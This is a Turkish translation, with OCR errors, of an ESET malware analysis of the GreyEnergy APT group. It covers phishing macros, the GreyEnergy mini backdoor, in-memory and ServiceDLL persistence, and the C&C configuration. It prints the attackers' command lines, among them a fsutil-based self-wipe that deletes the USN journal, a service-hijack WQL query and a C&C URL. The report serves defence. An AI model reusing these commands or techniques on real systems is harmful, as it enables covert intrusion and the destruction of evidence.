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GreyEnergy: BlackEnergy'nin yeni halefi

ESET arastirmacilari, daha 6nce belgelenmemis olan ve Orta ve Dogu Avrupa'daki kritik altyapi kuruluslarina
yonelik hedefli saldirilarda kullanilan gelismis k6t amach yazilimlari kesfederek analiz ettiler. ESET
arastirmacilari tarafindan GreyEnergy olarak adlandirilan zararh yazihm, Aralik 2015'te Ukrayna enerji
sektorline yonelik saldirilarda kullanilan zararl yazilim BlackEnergy ile pek ¢cok kavramsal benzerlige sahip. Bu
benzerliklerin disinda, GreyEnergy'nin arkasindaki grubun, bircok yikici saldiriyla iliskilendirilen TeleBots
grubuyla birlikte calistigini gbsteren baglantilar bulunuyor.

Bu rapor, GreyEnergy grubunun son birkac yildaki faaliyetlerini ortaya koymaktadir.
GIiRIS

Aralik 2015'te BlackEnergy grubu, BlackEnergy ve KillDisk zararli yazilm ailelerini kullanarak Ukrayna enerji
sektoriine karsi bir saldiri baslatti. Bu, BlackEnergy zararli yaziliminin bilinen son kullanimiydi. Bu saldiriyi
takiben, BlackEnergy grubu en az iki alt gruba ayrildi: TeleBots ve GreyEnergy.

Telebots grubunun ana hedefi, bilgisayar agi saldiri (CNA) operasyonlariyla Ukrayna'ya karsi diizenlenecek siber
sabotaj saldirilarini gerceklestirmekti. Grup, asagidakileri iceren bir dizi yikici saldiri gergeklestirdi:

e Aralik 2016'da gerceklestirilen, KillDisk zararli yaziliminin Windows ve Linux Isletim Sistemleri icin
tasarlanmis glincel bir stirimunin kullanildigi bir dizi saldiri.

e Haziran 2017'de gerceklestirilen kotl séhretli NotPetya saldirisi, Ukrayna tarafindan kullanilan
muhasebe yazilimi M.E.Doc igerisine gdmilmus karmasik bir arka kapi kullanilarak gergeklestirildi.

e Ekim 2017'de BadRabbit ailesi kullanilarak gerceklestirilen saldiri.

ESET arastirmacilari, birkag yildan beri GreyEnergy grubunun faaliyetlerini takip etmektedir. Gurp, GreyEnergy
olarak tespit ettigimiz essiz bir zararli yazilim ailesi kullanmaktadir. Bu zararl yazilimin tasarimi ve mimarisi,
BlackEnergy zararh yazilimlarindakiyle pek ¢ok benzerlige sahiptir.

Zararh yazilimin sahip oldugu kavramsal benzerliklerin yaninda, GreyEnergy zararli yaziiminin arkasindaki
grubun TeleBots grubuyla yakin sekilde ¢alistigina iliskin baglantilar bulunuyor. Ornek olarak, GreyEnergy
grubu Aralik 2016'da NotPetya benzeri bir solucan dagitti ve bu zararh yazihmin daha gelismis bir versiyonu
sonradan TeleBots grubu tarafindan Haziran 2017'de gergeklestirilen meshur saldirida kullanildi.

GreyEnergy grubunun TeleBots grubuna kiyasla farkli hedefleri oldugunu sdyleyebiliriz. Bu grup TeleBots'dan
farkli olarak, genelde cesitli organizasyonlarin kritik altyapilarina ait endistriyel aglarla ilgileniyor ve tim bunlar
Ukraynali hedeflerle de sinirli degil.

2015'in sonlarina dogru, ilk olarak GreyEnergy zararli yaziliminin Polonya'daki bir enerji santralini hedef aldigini
gordiik. Yine de, BlackEnergy ve TeleBots'da oldugu gibi, grubun ana hedefi Ukrayna olmustur. Oncelikle ener;ji
sektoriine ilgi gosterdiler; bunu ulasim ve diger yiiksek degerli hedefler izledi. Gegmiste BlackEnergy tarafindan
hedef alinan en az bir organizasyon, yakin zamanda GreyEnergy tarafindan da saldiriya ugramistir. GreyEnergy
zararli yazihminin en son gézlenen kullanimi 2018 ortalarina dogruydu.

GreyEnergy zararli yazihmi modiilerdir, fakat Industroyer'den farkli olarak, GreyEnergy'nin endustriyel kontrol
sistemlerini (ICS) etkileyebilecek herhangi bir modiile sahip oldugunu gérmedik. Bununla birlikte, bu kéti
amagli yazilimin operatérleri en az bir kez bu zararli yazihmdan etkilenen bir kurulustaki isletim siireglerini
bozmak ve izlerini kapatmak igin bir disk silme bilesenini kullanmislardir.

Arastirmamiz sirasinda kesfedilen en ilging detaylardan biri de, buldugumuz GreyEnergy orneklerinden birinin
ICS ekipmani Gireten Tayvanh bir sirketten ¢alinan gegerli bir dijital sertifika ile imzalanmis olmasidir. Bu
baglamda, GreyEnergy grubu tam anlamiyla Stuxnet’in izinden gitmektedir.


https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
https://www.welivesecurity.com/2010/07/22/a-few-facts-about-win32stuxnet-cve-2010-2568/
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GREYENERGY CALISMA TARZI

GreyEnergy grubunun faaliyetlerini izlerken, saldirganlarin genelde iki baslangi¢c enfeksiyon vektoriini

kullandiklarini gérdiik. ilki, kendi biinyelerinde web servisleri barindiran organizasyonlarla ilgili. Bu sekilde
kamuya acik bir web servisi, dahili aga bagli bir sunucu tzerinde galisiyorsa, saldirganlar bunu ele gecirmeye
calisarak gizlice ag icine girmek isteyeceklerdir. ikinci enfeksiyon vektéri ise, zararl ek dosyalara sahip hedefe

yonelik kimlik avi e-postalarinin kullaniimasidir.

Zararh doktimanlarin “GreyEnergy mini” adinda, yonetici haklari gerektirmeyen, giris seviyesindeki 6nemsiz bir
arka kapiyi kullandiklarini gézlemledik. Bir bilgisayara GreyEnergy mini ile sizdiktan sonra, saldirganlar yonetici
haklari elde edebilmek amaciyla ag haritasi ¢ikararak parolalari toplarlar. Bu ayricaliklarla saldirganlar tim agi
kontrol edebilir. GreyEnergy grubu, bu goérevler igin oldukga standart araglar kullanir: Nmap ve Mimikatz.

Saldirganlar baglangic asamasinda ag haritasiyla islerini tamamladiktan sonra, amiral gemisi denilebilecek arka

kapilari olan esas GreyEnergy zararli yazilimini dagitmaya baglayabilirler. Bu zararli yazilim, bu asamaya

gelinmeden 6nce elde edilmesi gereken yonetici haklari gerektirir. Arastirmamiza gore, GreyEnergy aktorleri bu

arka kapiyi esas olarak iki tiir ug noktaya yerlestiriyorlar; yliksek ¢calisma siiresine sahip sunucular ve ICS

ortamlarini kontrol etmek igin kullanilan is istasyonlari.

Zararh yazihm aktorleri, komuta ve kontrol (C&C) sunuculariyla daha gizli iletisim kurabilmek igin sizilan ag
icerisindeki sunuculara ek yazimlar yikleyerek her bir sunucunun proxy olarak hareket etmesini saglayabilirler.
Bu tip bir proxy C&C sunucusu, ag icerisindeki etkilenen nodlardan gelen istekleri internet tGzerindeki harici bir

C&C sunucusuna yonlendirir. Bu sekilde, bircok bilgisayar uzak bir sunucu yerine dahili bir sunucuyla

"konustugu" icin bu durumu fark eden bir savunmaci daha az stiphelenir. Bu teknik ayni zamanda saldirganlar
tarafindan ele gegcirilen bir agdaki farkli bélimlerde yer alan zararh yazihmlari kontrol etmek amaciyla da
kullanilabilir. Dahili sunucularin C&C sunuculari olarak kullanildigi benzer bir teknik Dugqu 2.0 APT tarafindan

uygulanmistir.

Eger etkilenen bir kurulusun dahili aga bagh kamuya agik web sunuculari bulunuyorsa, saldirganlar bu

sunucularda "yedek" arka kapilar olusturabilirler. Bu arka kapilar, ana arka kapilarin tespit edilerek silinmeleri

durumunda aga yeniden erisebilmek amaciyla kullanilr.

GreyEnergy zararl yazilimi tarafindan kullanildigini gordiglimtiz tiim C&C sunuculari Tor ile iliskili.
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Sekil 1. GreyEnergy grubu tarafindan kullanilan iki aga sizma senaryosunun basitlestirilmis semasi
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https://securelist.com/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/70504/
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GREYENERGY MiNi

GreyEnergy mini, saldirganlar tarafindan ele gegirilmis bir bilgisayari degerlendirerek ag lizerinde bir baslangi¢
ayagi olusturmak icin kullanilan baslangi¢ seviyesindeki hafif bir arka kapidir. GreyEnergy mini zararli yazilimi
genellikle hedefli bir kimlik avi e-postasi yoluyla génderilmis kot amach bir dokiiman ile indirilir. GreyEnergy
mini ayni zamanda FELIXROOT olarak da bilinir.

Eylul 2017'de ESET, Ukraynaca yazilmis kot amach bir makro tasiyan tuzak niteligindeki bir Microsoft Word
dokiimani tespit etti. Yem olarak kullanilan dokiiman interaktif bir form gibi gériinecek sekilde tasarlanmisti ve
kurbanin igerigi doldurabilmek igin makrolari etkinlestirmesi gerekiyordu.
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Sekil 2. GreyEnergy grubu tarafindan Eylil 2017'de kullanilan tuzak dokiiman

Makro bir kez etkinlestirildiginde, kod uzak bir sunucudaki ikili dosyayi indirerek yiritmeye c¢alisir.



https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
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Sekil 3. Kot amaglh VBA makrosu (yorumlar ESET tarafindan eklendi)

ilging olarak, belgenin gdvdesine gdmiilmis, uzak bi resme isaret eden bir baglanti bulunmaktadir. Dokiiman
bir kez acildiginda, resmi indirmeye calisir. Boylece, dokiiman acildiginda saldirganlar haberdar edilmis olur. Bu
teknik, makroyu etkinlestiren hedefler ve makroyu etkinlestirmeden dokiimani agan hedefler arasindaki basari
oraninin takip edilebilmesini saglar.

Sekil 4. Zararh dokiiman igindeki harici "izleyici" gérintusinin baglantisi

indirilen yiritilebilir dosya, bir GreyEnergy mini pargasidir. Bu parga, zararl DLL'i adiyla rasgele iretilmis bir
GUID kullanarak $2PPDATAS klasoriine yazar. Ek olarak, bu parga bos bir dosya adi kullanarak Baslangig¢
Menisi altindaki startup klasériinde bir . LNK dosyasli olusturur ve komut satirindaki argiimanin yolu olan bir
DLLile rund1132.exe'yi yUriutlir. GreyEnergy mini tarafindan kullanilan kalicilik yontemi bu sekildedir.

Bu DLL pargasi, GreyEnergy mini'nin ana moduladir ve Microsoft Windows'a ait mesru bir dosya sekline
blrinmistir.

dropped.dll Properties X

General Security Details Previous Versions

Property Value

Description
File description  WST Decoder Filter
Type Application extension

File version 5.3.2600.5512
Productname  Microsoft(R) Windows(R) Operating System
Product version 5.3.2600.5512

Copyright © Microsoft Corporation. All rights reserved.
Size 49,5KB

Date modified  14.09.2017 5:24

Language English (United States)

Original filename WSTDECOD.DLL

Sekil 5. GriEnergy mini DLL, mesru bir Windows DLL olarak gizlenmis
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Zararh yazilim sizilan bilgisayarin degerini 6lgmek icin elinden geldigince bilgi toplar ve bu bilgileri C&C
sunucusuna gonderir. Bilgi toplama WMI Query Language (WQL) kullanilarak yapilir ve sorgular Windows kayit
defterine yazilir. Asagidaki bilgiler toplanmaktadir:

°

Bilgisayar adi

Servis paketi stirim dahil olmak Gzere isletim sistemi sirima
Varsayilan yerel ayar

Kullanici adi

Mevcut Windows kullanici ayricaliklari, ylkseklik, UAC seviyesi
Proxy ayarlari

Bilgisayarla ilgili bilgiler (Uretici, model, sistem tipi)

Saat dilimi

YUkll gtvenlik yazihmi (antiviris ve glvenlik duvari)

Kullanici ve alan adlarinin listesi

Kayit defterinden alinan yukli yazihimlarin listesi

Ag hakkinda bilgi (IP adresleri, DHCP Sunucusu, vb.)

Calisan islemlerin listesi

Kot amach yazilim C&C sunucusundan komutlar aliyor. Asagida komutlar destekleniyor:

Komut Kimligi Anlam

N o o AW N

Bilgisayar hakkinda bilgi topla

Gegici dizinden galistirilabilir dosyay! indir ve ¢alistir
Kabuk komutunu calistir

Guvenligi ihlal edilen bilgisayardan kendini kaldir
Gegici dizinden .BAT dosyasini indir ve galigtir
Dosyayi lokal siriciye indir

Dosya yiikle

Zararli yazihmin yapilandirmasi JSON biciminde, ikili dosyanin igine 6zel bir algoritma ile kodlanarak
gomilmusgtdr. Sifreli veri basta dort baytlik veri igerir; bu baytlar geri kalan verinin sifresini bir XOR islemiyle
¢Ozebilmek i¢in anahtar olarak kullanilir. Kéti amagh yazilim tarafindan kullanilan ¢ogu dizgiler bu algoritma
kullanilarak sifrelenir.
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Sekil 6. GreyEnergy zararli yaziliminin gdmld yapilandirmasinin sifre ¢ézilmeden 6ncesi ve ¢ézildikten sonrasi

GOrdugumuz tim GreyEnergy mini yapilandirmalari, C&C sunuculari olarak kullanilan HTTPS ve HTTP
sunuculari icermektedir. Bu, saldirganlarin ag ya da giivenlik duvari ayarlarindan HTTPS izni verilmeyen
hedeflerde HTTP'ye gegis yapmalarina izin verir.

GreyEnergy mini zararlisi, diger GreyEnergy zararlilariyla bazi kod benzerlikleri tagimaktadir. Buna ek olarak,
hem GreyEnergy mini hem de ana GreyEnergy arka kapisi, tamamen ayni C&C sunucularini kullanmiglardir.

GREYENERGY ZARARLI YAZILIMI

GreyEnergy zararli yazilimi, GreyEnergy grubunun amiral gemisi konumundaki arka kapidir. Burada analiz
edilen zararl yazihm 6rnekleri Visual Studio Cile derlenerek C dilinde, fakat standart C ¢alisma-zamani
kitaphklari (CRT) 6zellikleri kullanilmadan yazilmistir. Paketlenmis 6rnekler sahte bir PE zaman damgasi
icerebilir, ancak ornekler bir kez agildiginda, PE zaman damgasi 0 olur (1 Ocak 1970'i temsilen).

[x]

Count of sections 6 | Machine AMD64
Symbol table ©0000000[00000000 ] uTcC Thu Jan 01 00:00:00 1970
Size of optional header POF0@ | Magic optional header 0208
Linker version 9.00 | OS version 5.02
Image version 0.00 | Subsystem version 5.02
Entry point 000OB274 | Size of code 00012000
Size of init data 00008600 | Size of uninit data 00000000
Size of image @0O1EERO | Size of header 00000400
Base of code 00001000

Image base 00000001 40000000 | Subsystem Console
Section alignment 0001000 | File alignment 00000200
Stack 00000000 00100000 | Heap 00000000 00100000
Stack commit 00000000 00001000 | Heap commit  ©0000000° 00001000
Checksum ©0001DBBD | Number of dirs 16

Sekil 7. Paketlenmemis bir GreyEnergy 6rneginin PE zaman damgasi
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ilging bir sekilde, analiz edilen ilk GreyEnergy kétii amacli yazilim érneklerinden biri, Advantech adinda bir
sirkete ait bir kod imzalama sertifikasi ile dijital olarak imzalanmistir. Advantech, endstriyel ekipman ve loT
donanimi ireten Tayvanli bir sirkettir. Ayni sertifikanin, Advantech'in temiz, zararli olmayan yazihimlarini
imzalamak icin de kullanildigini kesfettigimizden, bu sertifikanin biyuk olasilikla ¢alinmis olduguna inaniyoruz.
Tespit edilen numunenin karsi imzalarinin bulunmadiginin alti gizilmelidir; bu da sertifikanin gegerlilik stiresi
doldugunda dijital imzanin gegersiz hale geldigi anlamina gelir.

Digital Sig e Deta #  Certificate X
General  Advanced General Details  Certification Path
= Digital Signature Information Show: | <All> o
o | This digital signature is OK.
Field Value ~
Signer information [Elsignature hash alg... shal
N . [ClIssuer VeriSign Class 3 Code Signing 2010 CA, ...
ame: [Advantech Co., Ltd. Elvalid from Monday, February 10, 2014 12:00:00 AM
E-mail: |N0t available [Elvalid to Sunday, February 26, 2017 11:59:59 PM
Advantech Co., Ltd., Digital ID Class 3 - ...
Signing time: [Not available [ElPublic key RSA (2048 Bits)
[ElPublic key parame... 05 00
View Certificate &iBasic Constraints Subject Type=End Entity, Path Length Co... v
Countersianat CN = Advantech Co., Ltd.
ountersignatures OU = Digital ID Class 3 - Microsoft Software Validation v2
] : O = Advantech Co., Ltd.
N fs... E-mail ad... Ti T ’
ame of 5 mail a imestamp L= 2
S = &dtis
C=TW
Details
Edit Properties... Copy to File...
OK

Sekil 8. Bir GreyEnergy kot amagli yazilim 6rnegini imzalamak igin kullanilan Advantech kod imzalama sertifikasi

Sertifika verileri asagidaki gibidir:

Seri numarasi: 15:£4:8£:98:¢c5:79:41:00:6£:4c:9a:63:9b:£f3:cl:cc
Gegerlilik:
Once degil: 10 Sub 00:00:00 2014 GMT
Sonra degil : 26 Sub 23:59:59 2017 GMT
SHAl1l Parmak izi=97:53:AD:54:DF:6B:D6:73:E0:6C:00:36:3D:34:6A:06:00:7A:0A:9B

GreyEnergy kot amacgl yazihmin genellikle iki modda dagitildigini gézlemledik: yalnizca bellek modunda ve
Service DLL kaliciligi kullanilarak. Eski mod, saldirganlar kbt amagli yazilim dagitiminin herhangi bir kalicilk
gerektirmediginden emin olduklarinda kullaniimaktaydi (6rnegin, yiiksek ¢alisma siiresine sahip sunucular).
Sonraki mod ise, zararli yazihmin muhtemel bir yeniden baslatma sonrasi hayatta kalabilmeye ihtiyag duydugu
durumda kullanilmaktadir.

Yalnizca bellek i¢i mod

Yalnizca bellek ici mod igin saldirganlar belirli bir klasére bir DLL dosyas! yerlestirip daha sonra Windows
uygulamasl rund1132 .exe'yi kullanarak bunu galistirirlar. Rund1132 .exe'yi mimkin olan en yiksek
ayricaliklarla (NT AUTHORITY \ SYSTEM ) yiritmek icin saldirganlarin Windows Sysinternals PsExec aracini
yerel olarak kullandiklarini gérdik.

iste GreyEnergy'nin bellek ici yiiriitme isleminin ilk asamasinda kullanilan gercek bir komut satiri:

cmd.exe /c "C:\Windows\System32\rundll32.exe "C:\Sun\Thumbs.db", #1
CAIAABBmMAAAgAAAABGFGVkHVGDtGRqcl3Z3nYJ9aXCm7TVZX8k1lEdjacOSU="

Bu 6rnekte, Thumbs .db, rund1132. exe islemiyle ilk siradaki islevin ¢agrildigi bir GreyEnergy DLL dosyasini
temsil eder. Saglanan komut satiri parametresi, daha sonra kiglk bir koki ¢ozmek icin daha sonra AES-256
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anahtari olarak kullanilan bir base64 kodlu bayt dizisini icerir. Daha sonra, kokteki kod svchost. exe isleminin
yeni bir 6rnegini baslatir ve orada bir GreyEnergy ylki enjekte eder. Son adimda, GreyEnergy rund1132 . exe
islemi sonlandirilir ve kot amach DLL dosyasi diskten glivenli bir sekilde silinir. GreyEnergy yliki bu nedenle
sadece svchost. exe islem bellegi baglaminda var olacaktir.

Gorlinlise gore, kot amagli yazilim yazarlarinin amaci, kot amagli yazilimi komut satirinda saglanmis olan
anahtar olmadan, kok ve yiikin sifresini cozmek mimkin olmayacak sekilde tasarlamakti.

b1 w <1
ror wéVirtualAlloc EeVirtualProtectEx <YLoadlLibraryA E@G
CryptAcquireContextid = CryptSetKeyParam = CryptImportKey

= 0t decrypt overlay stub.dll

Sekil 9. Yalnizca bellek i¢i mod igin dahili bir GreyEnergy DLL adi

Yalnizca bellek i¢ci mod kullanilirsa, ilgili svchost. exe isleminin sonlandiriimasi veya bilgisayarin yeniden
baslatilmasi, GreyEnergy kotl amacli yazilimini kaldirmak igin yeterlidir.

Servis DLL kaliciig

Bu yontemi kullanmak igin, kot amacgl yazilim operatorleri, yonetici ayricaliklari altinda yiritilmesi gereken
bir GreyEnergy pargasi kullanirlar.

ServiceDLL kayit defteri anahtari, bir servis DLL modunu svchost . exe islemi baglaminda agmaya izin veren
bir 6zelliktir. Bu 6zellik Microsoft tarafindan iyi bir sekilde belgelenmemekle birlikte, tiretken Conficker solucani
da dahil olmak tizere bir dizi kdtli amacli yazilim ailesi tarafindan kullaniimistir.

Servis DLL kalicihgr igin zararh yazilm pargasi halihazirda mevcut bir servis bulur ve yeni bir ServiceDLL kayit
defteri anahtari ekler. Bu yontemin kullaniimasi sistemi bozabileceginden, bu parga ilk 6nce birgok gerekliligi
yerine getiren bir hizmet almak igin bir dizi kontrol gergeklestirir.

ilk olarak, parca su WQL sorgusunu yiiriiterek, o anda durdurulan tiim Windows hizmetlerini numaralandirir:

Select * from Win32_ Service where PathName Like '%%svchost%%' and State = 'Stopped'
Asagidaki kosullar sorguya eklenebilir:

e and StartMode = 'Disabled' or and StartMode = 'Manual'

e and ServiceType = 'Own Process' or and ServiceType = 'Share Process'

Ardindan bu parga, sonuglari siralayarak ve asagidaki kosullara uyanlari atlayarak dogru hizmeti se¢meye calisir:

e Service name contains winmgmt (Windows Management Instrumentation) or BITS (Background
Intelligent Transfer Service)

e Parca, hizmete veya kayit defteri anahtarina erisemez

e The DependOnService registry value is not empty

e Aregistry value does not exist for ServiceDll or ImagePath

e Servisin komut satiri su sézciiklerden birini igerir:

e DcomLaunch, LocalServiceNetworkRestricted, LocalServiceNoNetwork,
LocalServicePeerNet, LocalSystemNetworkRestricted,
NetworkServiceNetworkRestricted, secsvcs, wessve

Bu kosullari karsilayan bir hizmet bulundugunda, k6t amach yazilim bir DLL dosyasini Windows system32
dizinine indirir ve ServiceDLL kayit defteri anahtarini yazar. DLL adi sonunda rastgele olusturulan dort
karakter ve svc.dll veya srv.dll icerir.Buna ek olarak bu parca, varolan user32.d11 dosyasindan
kopyalayarak dosyanin zaman meta verilerini zorlar.

GreyEnergy pargasinin en son siriimi, 32 ve 64-bit isletim sistemlerini desteklemektedir.
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B Registry Editor - U
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\smphost\Parameters

SiSRaid2 A | Name Type Data

’ SiSRaid4 ab](Default) REG_SZ {value not set)
v smphost 3b]ServiceDll REG_EXPAND_SZ %SystemRoot%\system32\idoisve.dll
~ Parameters #¥%)ServiceDllUnloadOnStop ~ REG_DWORD 0x00000001 (1)
Security

SmsRouter idoisve.dll Properties X

SMSvcHost 4.0.00 General Security Details  Previous Versions

SNMPTRAP

spaceport Property Value

SpbCx Description

spectrum File description ~ Storage Management Provider (SMP) host s...

Spooler Type Application extension

sppsvc File version 10.0.18299.15

srv2 Productname  Microsoft® Windows® Operating System

srvnet Productversion 10.0.16299.15

SSDPSRV Copyright © Microsoft Corporation. All rights reserved.

SstpSvc Size 98.0 KB

StateRepository Date modified ~ 9/29/2017 11:49 AM

stexstor Language Language Neutral

StSve Original filename smphost.dil

storahci

storflt

stornvme

storqosflt

StorSvc

storufs

storvsc

SVSVC

swenum Remove Properties and Personal Information

swprv

Synth3dVsc

. Cancel Apply
: SysMain v

< > <

Sekil 10. GreyEnergy DLL, Servis DLL kalicilik yontemi kullanilarak dagitiimistir

Parga, kot amagh DLL'yi mesru bir dosya olarak gizlemek icin ilging bir numara kullanir. Bu parca 6zel olarak,
0zgln Windows hizmetine ait yiratilebilir dosyadan ayrintili bir dosya aciklamasi iceren VERSIONINFO
kaynaginin bir kopyasini olusturur ve bu verileri kotli amach DLL'ye yazar. Bu islem
BeginUpdateResource/UpdateResource/EndUpdateResource Windows APl fonksiyonlari kullanilarak
yapilir. Son stiriimler bu 6zellikleri API'den alamaz; muhtemelen bir giivenlik Girlinu tarafindan tespit
edilmekten kaginmak i¢cin DLL dosyasinin sahte VERSIONINFO dosyasi olmadan diske birakilmasini 6nlemek
amaciyla kodlar zararli yazihmin igerisine yazilmistir. Ayni parga, farkli bilgisayarlarda farkli agiklamalara sahip
kot amacglh DLL dosyalari olusturabilir. Bu sekilde dagitilan her 6rnek benzersiz bir hash dosyasina sahip
olacaktir.

Kot amacgh yazilim sistemde zaten mevcutsa, bu parga adlandiriimis bir boru kullanarak onu giincelleyebilir.

Son adimda bu parga, dosyayi sifirlarla yazarak ve dosyayi diskten kaldirarak kendini giivenli bir sekilde siler.
Buna ek olarak, parga USN giinligiini temizler. Tim bu eylemler, asagidaki kabuk komutu yiritilerek
gerceklestirilir:

timeout 2 > nul & fsutil file setzerodata offset=0 length=%DROPPER _ FILESIZE%

"$DROPPER PATH%" & timeout 2 & cmd /c del /F /Q "$DROPPER PATH%" & fsutil usn
deletejournal /D $DROPPER_DRIVE$


https://en.wikipedia.org/wiki/USN_Journal
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Yapilandirma ve iletisim

Operatorler tarafindan segilen kalicilik modu, her iki yontemde de ayni kalan kétii amaglh yazilmin iglevselligini
etkilemez.

Kot amacgh yazilim, AES-256 algoritmasi kullanilarak sifrelenmis ve LZNT1 algoritmasi kullanilarak sikistiriimis
gdomili bir yapilandirma igerir.

MIME multipart bigcimi, kot amagli yazihmin yerlesik yapilandirmasi icin kullanilir. K6t amagli yazihm yazarlari
bu format icin kendi ¢ézlmleyicilerini uygulamadilar; bunun yerine ve com
araylzlerini kullanirlar. ilginctir, Microsoft dokiimanlarinda bu arabirimleri kullanmamaniz énerilir.

MIME-Version: 1.0
Content-Type: multipart/form-data;
boundary="----= NextPart_000 000B_01DOE90OF.EFC83100"
-MimeOLE:

This is a multi-part message in MIME format.

_NextPart_000_000B_0O1DOE9SOF.EFC83100
Content-Type: text/plain;
charset="1s50-8859-1"
Content-Transfer-Encoding: 7bit

_NextPart_000_000B_0O1DOE9SOF.EFC83100
Content-Type: text/plain;
charset="1s50-8859-1"
Content-Transfer-Encoding: 7bit
: Client

: 10

70089DBOESAE8633
_NextPart_000_000B_01DOE90OF .EFC83100
Content-Type: text/plain;
charset="1s0-8859-1"
Content-Transfer-Encoding: 7bit
Type: ServerUrls

https://109.200.202.7/0QylyZf05do6zd67wbRm/exiFIrN1gs8xV2hU7Vj9
_NextPart_000_000B_01DOE9OF.EFC83100--

Sekil 11. Gomulli GreyEnergy yapilandirmasi 6rnegi

Harici konfigtirasyon icin tipik MIME formati kullanilir; ancak kéti amacli yazihm, dis yapilandirmayi farkh
sekilde sifreler. K6tli amacli yazilim, Veri Koruma uygulama programlama arabirimini (DPAPI) - 6zellikle
CryptProtectData ve CryptUnprotectData Windows APl islevlerini kullanir. Harici yapilandirma su
adreste depolanmaktadirC: \ProgramData\Microsoft\Windows\%GUID%, ayni zamanda $GUID%, C:
strictstnin birim seri numarasi baz alinarak rastgele olusturulmus bir GUID degeridir.


https://docs.microsoft.com/en-us/previous-versions/windows/desktop/oe/oe-imimemessagetree
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/oe/oe-imimebody
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Bazi GreyEnergy drnekleri, yapilandirmanin biraz gizlenmis bir siirimiinii igerir. Ozellikle, bdyle bir yapilandirma
Tiiri alanlari, yapilandirma secenek adlari yerine harfler igerir.

_NextPart_00e_0eeB_01D3B497.E2092D70
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

D3D48AGBE61762
_NextPart_006e ©0eB_01D3B497.E2092D7@
Content-Type: text/plain;
charset="is0-8859-1"
Content-Transfer-Encoding: base64

aHR@cDovLzE3Mi LyNKREhVcnZQZEVOMUZMZ j1GdDVaWF1Lc3BjX3t1RyhFRDhyMk1qVX1AcUpIeX40IWku

Sekil 12. Gizlenmis bir GreyEnergy yapilandirmasi 6rnegi

Yapilandirma asagidaki degerleri igerebilir:

Yapilandirma segenegi Gizlenmis ad Anlam

Tur: SunucuURL'leri Tur: D C&C sunuculari listesi (bu deger base64 kullanilarak
kodlanabilir)

Kullanici D1

Parola D2

Erisim D3 1 - Proxy kullanma, 3 - Proxy kullan

Tar: Tur: E Proxy sunucularinin listesi (bu deger base64 kullanilarak

ServerProxyAdresleri kodlanabilir)

ProxyTurl E1l Not used

Tir: Istemci Tar: F Onaltih Kampanya Kimligi

Sleep F1 Dakikalarla C&C sunucularina yapilan istekler arasindaki
zaman asimi

FSleep F2 Dakikalarla C&C sunucularina yapilan istekler arasindaki

zaman asimi (hatali baglanti durumunda)
F3 Not used

Lifetime F4 Zararli yazihmin C&C sunucularina basarili bir sekilde
baglanmadan tolere edebilecegi glin sayisi

LastrequestH F5 C&C ile son basarili baglanti siiresinin yiksek dncelikli kismi
LastrequestL F6 C&C ile son basarili baglanti siiresinin dusik 6ncelikli kismi
Attempts F7 C&C sunucularina istek gonderme girisimi sayisi
MaxAttempts F8 C&C sunucularina en ¢ok istek gbnderme denemesi sayisi

Kot amach yazilim, baglanti girisimlerinin sayisi MaxAttempts degerinden daha biyikse ve son basarili
baglanti Lifetime kadar giin 6ncesinden daha fazlaysa, kendini ele gecirilmis bilgisayardan siler.



13 GreyEnergy: BlackEnergy'nin yeni halefi

C&C iletisimi genelde HTTPS Uzerinden ilerler; bazi durumlarda HTTP de kullaniimaktadir. Ayni MIME formati,
HTTP isteklerinde hapsedilmistir. Bununla birlikte, verilerin AES-256 ve RSA-2048 kullanilarak sifrelenmis
olduguna dikkat edilmelidir.

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - GE_LocalNetwork.pcapng — O XK
POST /ups/index.php HTTP/1.1 2
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary="----=_NextPart_0e0_8012_01D46401.0625C338"

Cookie: Xkx@8MfJIE3y6IelLCo=ZW?V>Q(3v9IFApxa8uSd~l6g*ES.2]1s
User-Agent: Mozilla/5.@ (Windows NT 6.1; Trident/7.8; rv:11.8) like Gecko

Content-Length: 2479
Host: 172h

This is a multi-part message in MIME format.

------ =_NextPart_000_0012_01D46401.0625C330
Content-Type: text/plain;
charset="1is0-8859-1"

Content-Transfer-Encoding: 7bit

—————— = NextPart_0@0_ee12_e1D46481.8625C330

Content-Type: text/plain;
charset="iso-8859-1"

Content-Transfer-Encoding : binary
Content-Disposition: form-data;

name="8"
T 0. .Y X 02 ) Xvl .k.w\. .N....4..X2.{.IItui..... 7.B.}...$.C4..xJZ... .H..
1...u..e?%.%...... b.}0.WY.6... (e Connnnns ef..p
B ..Qc.,Jz.d.%@@.n.~d/..13. . f{.....:iB.. ...u.'...7Y" ..... 01Q...{~...m.@M..... (VR A . UV N
RERGAE

------ =_NextPart_o0e_eel2_e1D46401.0625C330

Content-Type: text/plain;
charset="iso-8859-1"

Content-Transfer-Encoding : binary
Content-Disposition: form-data;
name="1"

(3.;..

booms..... St m...T..@Y...V. $..F...(.2.7Q7T..." ..&. .{#1...3..../dgx. . [} <...?..E....... I? v
10 client pkts, 6 server pkts, 9 turns,

Entire conversation (12 kB) 2 Show and save data as ASCIL @ Stream |0 =
Find: ‘ Find Next

Filter Qut This Stream Print Save as... Back Close Help

Sekil 13. Wireshark ile tespit edilmis, HTTP lizerinden gergeklestirilen GreyEnergy iletisimi

HTTP kullanildiginda, ag trafigini analiz ederek agdaki ele gegirilmis bir makinayi tespit etmek daha kolaydir.
Analiz edilen zararli yazilim 6rnekleri, her zaman asagidaki gdm{li kullanici ajanlarini kullanir:

